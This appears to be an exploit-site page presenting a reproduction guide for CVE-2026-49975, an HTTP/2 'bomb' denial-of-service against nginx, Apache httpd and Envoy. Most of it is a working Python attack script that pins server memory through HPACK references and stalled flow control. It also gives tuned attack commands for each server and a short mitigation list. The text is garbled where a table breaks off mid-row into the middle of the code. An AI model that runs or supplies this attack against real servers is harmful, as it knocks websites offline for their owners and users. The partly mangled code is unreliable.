Share
## https://sploitus.com/exploit?id=EDEE9204-2DB4-5931-983F-6C7DB7FD4FB7
# CVE-2026-49975 (HTTP/2 Bomb) Complete Reproduction Guide
# Based on QiAnXin CERT Advisory + Calif Original Research
# ================================================================

## I. Vulnerability Overview

CVE-2026-49975 (QVD-2026-30962) is an HTTP/2 protocol-layer denial-of-service vulnerability discovered by security researcher Quang Luong (Calif). QiAnXin Threat Intelligence Center researchers have successfully reproduced the single-connection HTTP/2 Bomb DoS attack against Nginx.

- CVSS 3.1: 9.8 (Critical)
- Impact Scale: Hundreds of thousands of websites
- PoC/EXP Status: Publicly available
- Exploitation Condition: No authentication required, single connection sufficient

## II. Attack Principle (Two-Stage Combination)

### Stage 1: HPACK Indexed Reference Bomb

HPACK (RFC 7541) uses a dynamic table to store previously sent headers. The sender only needs to send a **1-byte index number**, and the receiver retrieves the full header from the dynamic table and allocates memory for it.

**Key Insight** — The essence of this vulnerability:
- Traditional HPACK bomb: Stuff **large values** into the dynamic table and repeatedly reference them → Blocked by "maximum decoded size" limits
- **This vulnerability variant**: Stuff **almost empty** headers into the dynamic table, then repeatedly reference them
  - Each reference triggers **per-entry bookkeeping memory allocation** (~70-5700 bytes)
  - "Maximum decoded size" limit **does NOT trigger**, because there's almost nothing to decode

### Stage 2: HTTP/2 Flow-Control Window Stall

The attacker advertises a zero-byte receive window (`SETTINGS_INITIAL_WINDOW_SIZE=0`), preventing the server from sending responses or releasing memory. Then periodically sends **1-byte `WINDOW_UPDATE` frames** to reset the server's send timeout timer, pinning the memory allocations indefinitely.

## III. Affected Servers

| Server | Amplification | Demo Effect | Fix Status |
|--------|--------------|-------------|------------|
| Envoy 1.37.2 | ~5,700:1 | 32GB in ~10s | No patch at disclosure |
| Apache httpd 2.4.67 | ~4,000:1 | 32GB in ~18s | Fixed in mod_http2 v2.0.41 |
| nginx I', length)[1:] + struct.pack('>BBI', frame_type, flags, stream_id & 0x7FFFFFFF)
    return header + payload

def encode_settings(settings):
    """Encode SETTINGS frame payload"""
    payload = b''
    for identifier, value in settings:
        payload += struct.pack('>HI', identifier, value)
    return payload

def encode_window_update(stream_id, increment):
    """Encode WINDOW_UPDATE frame"""
    payload = struct.pack('>I', increment & 0x7FFFFFFF)
    return encode_frame(FRAME_WINDOW_UPDATE, 0x0, stream_id, payload)

def make_hpack_seed():
    """Construct HPACK dynamic table seed - insert almost-empty header"""
    name = b'x-bomb'
    value = b''  # Empty value! Decoded size limit won't trigger
    block = bytes([0x40])  # Incremental indexing flag
    block += bytes([len(name)]) + name
    block += bytes([len(value)]) + value
    return block

def make_hpack_bomb(references_count):
    """Construct HPACK bomb: seed + N 1-byte index references"""
    seed = make_hpack_seed()
    # Dynamic table index 62 -> 0xbe (0x80 | 62)
    refs = bytes([0xbe] * references_count)
    return seed + refs

def make_headers_frame(stream_id, hpack_block):
    flags = 0x4  # END_HEADERS
    return encode_frame(FRAME_HEADERS, flags, stream_id, hpack_block)

def attack_connection(target, port, streams, headers_per_stream, hold_time, use_ssl=True):
    try:
        sock = socket.create_connection((target, port), timeout=30)

        if use_ssl:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            context.set_alpn_protocols(['h2'])
            sock = context.wrap_socket(sock, server_hostname=target)

            negotiated = sock.selected_alpn_protocol()
            if negotiated != 'h2':
                print(f"[!] ALPN negotiation failed: {negotiated}")
                return
            print(f"[+] ALPN negotiation successful: {negotiated}")

        # Send HTTP/2 connection preface
        sock.sendall(HTTP2_PREFACE)

        # ===== KEY: Send SETTINGS [INITIAL_WINDOW_SIZE=0] to set zero window =====
        settings = [(SETTINGS_INITIAL_WINDOW_SIZE, 0)]
        settings_frame = encode_frame(FRAME_SETTINGS, 0x0, 0, encode_settings(settings))
        sock.sendall(settings_frame)

        time.sleep(0.5)

        # Send SETTINGS ACK
        ack_frame = encode_frame(FRAME_SETTINGS, 0x1, 0, b'')
        sock.sendall(ack_frame)

        print(f"[+] Connection established, sending bomb payload...")

        # Construct HPACK bomb
        hpack_block = make_hpack_bomb(headers_per_stream)

        # Send HEADERS frames on multiple streams
        for i in range(streams):
            stream_id = (i + 1) * 2 - 1
            headers_frame = make_headers_frame(stream_id, hpack_block)
            sock.sendall(headers_frame)

        print(f"[+] Sent bomb payload on {streams} streams")

        # Keep connection alive, periodically send WINDOW_UPDATE to prevent timeout
        start_time = time.time()
        update_count = 0

        while time.time() - start_time < hold_time:
            time.sleep(1)
            for i in range(min(streams, 10)):
                stream_id = (i + 1) * 2 - 1
                wu_frame = encode_window_update(stream_id, 1)
                try:
                    sock.sendall(wu_frame)
                    update_count += 1
                except:
                    break

            if update_count % 10 == 0:
                elapsed = time.time() - start_time
                print(f"[*] Held for {elapsed:.1f}s, WINDOW_UPDATE sent: {update_count}")

        print(f"[+] Attack completed, hold time: {hold_time}s")

    except Exception as e:
        print(f"[!] Connection error: {e}")
    finally:
        try: sock.close()
        except: pass

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-49975 HTTP/2 Bomb PoC')
    parser.add_argument('target', help='Target host')
    parser.add_argument('port', type=int, help='Target port')
    parser.add_argument('--threads', type=int, default=1, help='Parallel connections')
    parser.add_argument('--streams', type=int, default=10, help='Streams per connection')
    parser.add_argument('--headers', type=int, default=5000, help='HPAC index references per stream')
    parser.add_argument('--hold', type=int, default=30, help='Connection hold time (seconds)')
    parser.add_argument('--no-ssl', action='store_true', help='Disable TLS (h2c)')

    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-49975 HTTP/2 Bomb PoC")
    print("For authorized security testing only!")
    print("=" * 60)

    amplification = 70  # nginx bookkeeping
    total_streams = args.threads * args.streams
    estimated_ram_mb = total_streams * args.headers * amplification / (1024 * 1024)
    print(f"[*] Estimated server memory consumption: ~{estimated_ram_mb:.0f} MB")
    print()

    threads = []
    for i in range(args.threads):
        t = threading.Thread(
            target=attack_connection,
            args=(args.target, args.port, args.streams, args.headers, args.hold, not args.no_ssl)
        )
        t.start()
        threads.append(t)
        time.sleep(0.5)

    for t in threads:
        t.join()

    print("[+] All attack threads completed")

if __name__ == '__main__':
    main()


## VI. Usage

### Basic Test (Single Connection)
```bash
python3 exploit.py target.com 443
```

### nginx-Specific Attack (Recommended)
```bash
python3 exploit.py target.com 443 \
    --threads 50 \
    --streams 30 \
    --headers 16374 \
    --hold 60
```
- `--headers 16374`: Stay within default `http2_max_header_size 16k`
- Estimated memory consumption: 50 x 30 x 16374 x 70 / 1024^2 ≈ **1,647 MB**

### Apache/Envoy Attack (High Amplification)
```bash
python3 exploit.py target.com 443 \
    --threads 20 \
    --streams 30 \
    --headers 5000 \
    --hold 60
```

## VII. Verify Attack Effectiveness

```bash
# Monitor nginx worker memory
for p in $(pgrep -f "nginx: worker"); do 
    grep VmRSS /proc/$p/status; 
done

# Or use docker stats
docker stats --no-stream nginx-h2-vuln
```

**Observation Indicators**:
- Before attack: nginx worker RSS ~3-6 MB
- After attack: RSS spikes to hundreds of MB or even GB
- New connections cannot be established or respond extremely slowly

## VIII. Mitigation

1. **nginx**: Upgrade to 1.29.8+, introduces `max_headers` directive (default 1000)
2. **Apache httpd**: Upgrade to mod_http2 v2.0.41+, Cookie headers counted in `LimitRequestFields`
3. **Temporary mitigation**: Disable HTTP/2 and fall back to HTTP/1.1, or deploy reverse proxy/CDN with strict header count limits

## IX. Disclaimer

This reproduction guide is for authorized security testing, vulnerability research, and educational purposes only. Unauthorized attacks on any system are illegal.

## References

1. QiAnXin CERT: HTTP/2 Bomb Remote Denial of Service Vulnerability (CVE-2026-49975) Security Risk Advisory
2. Calif Blog: Codex Discovered a Hidden HTTP/2 Bomb
3. GitHub: califio/publications/tree/main/MADBugs/http2-bomb
4. RFC 7541: HPACK
5. RFC 9113: HTTP/2




Chinese VER.
## CVE-2026-49975 复现方案

详细复现步骤请查看:[CVE-2026-49975 复现方案](./CVE-2026-49975_复现方案.md)